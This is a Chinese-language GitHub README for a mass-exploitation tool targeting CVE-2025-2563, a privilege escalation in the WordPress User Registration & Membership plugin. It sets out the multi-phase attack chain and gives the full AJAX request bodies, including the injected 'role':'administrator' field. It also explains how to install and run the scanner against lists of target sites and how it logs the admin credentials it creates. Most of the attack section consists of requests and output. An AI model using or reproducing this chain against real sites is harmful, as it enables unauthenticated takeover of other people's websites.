Nxploited/CVE-2025-2563

GitHub: Nxploited/CVE-2025-2563

一款针对 WordPress User Registration & Membership 插件权限提升漏洞的自动化 PoC 利用工具。

Stars: 0 | Forks: 0

# CVE-2025-2563 WordPress 插件 User Registration & Membership 在 4.1.2 版本之前,未能阻止用户在启用 Membership Addon 时设置其账户角色,导致权限提升问题,并允许未认证用户获得管理员权限。 ## 🔴 漏洞概述 ### CVE-2025-2563 — 通过 Membership Addon 角色注入实现未认证权限提升 | 字段 | 详情 | |---|---| | **CVE ID** | CVE-2025-2563 | | **严重性** | **高危** — CVSS v3.1 得分: **8.1** | | **攻击向量** | `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H` | | **ADP** | CISA-ADP | | **受影响软件** | WordPress 用户注册与会员插件 | | **受影响版本** | 所有 **4.1.2 之前** 的版本 | | **漏洞类型** | 权限管理不当 — 未认证管理员账户创建 | | **认证要求** | **无** | | **CWE** | CWE-269: Improper Privilege Management | **描述:** WordPress 版本 **4.1.2 之前** 的 **User Registration & Membership** 插件在启用 Membership Addon 时,未能在服务端强制执行角色限制。在会员注册过程中,插件会接受用户提交的 `role` 字段(位于 `user_registration_membership_register_member` AJAX 动作中),但未对其与服务器端允许列表进行校验。完全未认证的远程攻击者可以通过提交一个精心构造的两步 AJAX 链完成攻击:先通过 `user_registration_user_form_submit` 注册一个新账户,然后在会员调用的 `members_data` 载荷中注入 `"role": "administrator"`,从而静默创建一个具备完全权限的 WordPress **管理员** 账户。这将导致无需任何认证或用户交互即可完全控制站点。 ## 🛠️ 工具描述 这是一个 **PoC(概念验证)批量利用扫描器**,用于针对运行 **User Registration & Membership** 插件且启用了 Membership Addon 的易受攻击版本 WordPress 安装。该工具执行智能多阶段利用,包括自动发现、Nonce 收集、组合注册、角色注入与管理员验证。 ### 🔗 完整攻击链 ``` [Phase 1 — Discovery] GET /membership-pricing/ → Extract membership_id, pricing links GET /membership-registration/ → Extract form_id, nonces, security tokens GET /registration/ → Fallback registration page ↓ [Phase 2 — Nonce Extraction] Parse: ur_membership_frontend_localized_data._nonce Parse: ur_frontend_form_nonce, security, form_id, membership_id ↓ [Phase 3 — Registration (Combo Attack)] POST /wp-admin/admin-ajax.php action=user_registration_user_form_submit form_data=[{user_login, user_email, user_pass, membership_field, ...}] security= | ur_frontend_form_nonce= → Try all valid combos until success=true ↓ [Phase 4 — Role Injection (CVE-2025-2563)] POST /wp-admin/admin-ajax.php action=user_registration_membership_register_member members_data={"role":"administrator","membership":"",...} _wpnonce= → Server assigns administrator role to newly created user ↓ [Phase 5 — Admin Verification] POST /wp-login.php → Login with new credentials GET /wp-admin/ → Check adminmenu / wp-admin-bar GET /wp-admin/users.php → Confirm manage_options access GET /wp-admin/plugin-install.php → Confirm plugin-install access ↓ [Save to Nx_admin.txt] Format: [timestamp] https://target.com/wp-login.php user: pass:

``` ## 📋 系统要求 ### 系统需求 - Python **3.8** 或更高版本 - Linux / Windows / macOS ### Python 依赖 ``` pip install requests urllib3 rich ``` 或通过依赖文件安装: ``` pip install -r requirements.txt ``` **`requirements.txt`:** ``` requests>=2.28.0 urllib3>=1.26.0 rich>=13.0.0 ``` ## 🚀 安装 ``` # 克隆仓库 git clone https://github.com/Nxploited/CVE-2025-2563.git cd CVE-2025-2563 # 安装依赖 pip install -r requirements.txt # 运行工具 python3 CVE-2025-2563.py ``` ## ⚙️ 使用方法 ### 基本运行 ``` python3 CVE-2025-2563.py ``` 该工具使用由 **Rich** 驱动的完整交互式终端界面。 ### 🗂️ 目标列表格式 创建一个纯文本文件(默认:`list.txt`),每行一个目标: ``` https://target1.com https://target2.com http://target3.com target4.com ``` ### 🖥️ 交互式提示 ``` Targets file [list.txt]: list.txt Threads [3]: 5 HTTP timeout (seconds) [10]: 10 Max registration attempts per target [20]: 20 ``` ## 🔬 漏洞利用深入分析 ### 步骤 1 — 多页面探测 该工具会自动探测每个目标的三个页面: | 页面 | 用途 | |---|---| | `/membership-pricing/` | 提取 `membership_id` 与注册链接 | | `/membership-registration/` | 提取表单令牌、Nonce 与字段 ID | | `/membership-registration/?membership_id=` | 提取特定计划表单 | | `/registration/` | 备用通用注册页面 | ### 步骤 2 — Token 提取 以下 Token 从原始 HTML 与内联 JavaScript 中提取: | Token | 来源 | |---|---| | `_nonce` | `ur_membership_frontend_localized_data` JS 对象 | | `ur_frontend_form_nonce` | 隐藏输入字段或 JS 对象 | | `security` | `user_registration_params.user_registration_form_data_save` | | `form_id` | 隐藏输入 `ur-user-form-id` 或 JS 对象 | | `membership_id` | 单选输入 `urm_membership` 或 URL 查询字符串 | ### 步骤 3 — 注册 AJAX(组合攻击) ``` POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest action=user_registration_user_form_submit &security= &form_data=[{"field_name":"user_login","value":"Nxploited_482",...}, {"field_name":"membership_field_1771350090","value":"","field_type":"radio"}] &form_id= &ur_frontend_form_nonce= &is_membership_active= &membership_type= ``` 该工具会自动遍历所有发现的 `security`、`frontend_nonce`、`form_id` 与 `membership_id` 组合,直到收到 `success: true` 响应。 ### 步骤 4 — 角色注入 AJAX(漏洞调用) ``` POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest action=user_registration_membership_register_member &_wpnonce= &members_data={"membership":"","payment_method":"free", "role":"administrator","username":"Nxploited_482",...} &form_response={"username":"Nxploited_482","registration_type":"membership"} ``` ## 📁 输出文件 | 文件 | 描述 | |---|---| | `reg.txt` | 所有成功注册尝试的凭证 | | `Nx_admin.txt` | 所有已确认的管理员权限提升 | ### ✅ 输出格式 **`reg.txt`:** ``` [2025-06-01 12:44:10] https://target.com/wp-login.php user:Nxploited_482 email:Nxploited_482@admin.sa pass:Nx_adminSA ``` **`Nx_admin.txt`:** ``` [2025-06-01 12:44:18] https://target.com/wp-login.php user:Nxploited_482 pass:Nx_adminSA ``` ## 🖥️ 终端输出示例 ``` ╔══════════════════════════════════════════════════════════════════╗ ║ User Registration Membership Full Chain ║ ║ By: Nxploited | GitHub: github.com/Nxploited | @Kxploit ║ ╚══════════════════════════════════════════════════════════════════╝ [SCANNING] https://target.com [EXPLOITING] https://target.com | nonce + reg OK [EXPLOITED] https://target.com | password: Nx_adminSA ┌──────────────────────────────────────────────────────────────────────────┐ │ Target │ Status │ Password / Note │ ├──────────────────────────────────────────────────────────────────────────┤ │ https://target.com │ ✅ COMPROMISED (exploited) │ password: Nx_adminSA│ │ https://target2.com │ VULNERABLE (nonce exposed) │ │ │ https://target3.com │ DEAD (connection error) │ │ └──────────────────────────────────────────────────────────────────────────┘ Registration log: reg.txt Exploit (admin) log: Nx_admin.txt ``` ## 📊 状态码参考 | 状态 | 颜色 | 含义 | |---|---|---| | `COMPROMISED (exploited)` | 🟢 绿色 | 完整链成功 — 管理员登录已验证 | | `COMPROMISED (exploit ok, admin not verified)` | 🟡 黄色 | 角色注入成功但管理员面板检查不确定 | | `VULNERABLE (nonce exposed, registration failed)` | 🟡 黄色 | 找到 Membership Nonce 但注册 AJAX 失败 | | `VULNERABLE (nonce exposed, exploit pending)` | 🟡 黄色 | 找到 Nonce 但利用未完成 | | `EXPLOITING` | 🟡 黄色 | 利用进行中 | | `REGISTERED (no membership nonce)` | 🟡 黄色 | 注册成功但无法提取 Nonce | | `NO REG (all attempts failed)` | ⚫ 深色 | 所有安全/Nonce/Form_id 组合已耗尽 | | `NO REG (max attempts reached)` | ⚫ 深色 | 达到最大尝试次数 | | `DEAD (no membership/registration pages)` | ⚫ 深色 | 目标未检测到插件 | | `EXPLOIT FAILED (request error)` | 🔴 红色 | 角色注入请求错误 | | `EXPLOIT FAILED (success=false)` | 🔴 红色 | 服务器返回 `success: false` | | `TIMEOUT` | ⚫ 深色 | HTTP 超时 | | `DEAD (connection error)` | ⚫ 深色 | 连接被拒绝 / 不可达 | | `ERROR` | 🔴 红色 | 意外异常 | ## ⚠️ 法律声明

© 2025 Nxploited (Khaled Alenazi) — 仅限授权安全研究使用。

标签:CISA项目, CVE-2025-2563, CWE-269, Mass Exploitation, Membership Addon, Privilege Escalation, Role Injection, Security Assessment, Server-side Validation, User Registration, WordPress, WordPress Plugin, 不当权限管理, 会员插件, 协议分析, 插件安全, 未认证用户, 权限提升, 用户注册, 管理员权限, 逆向工具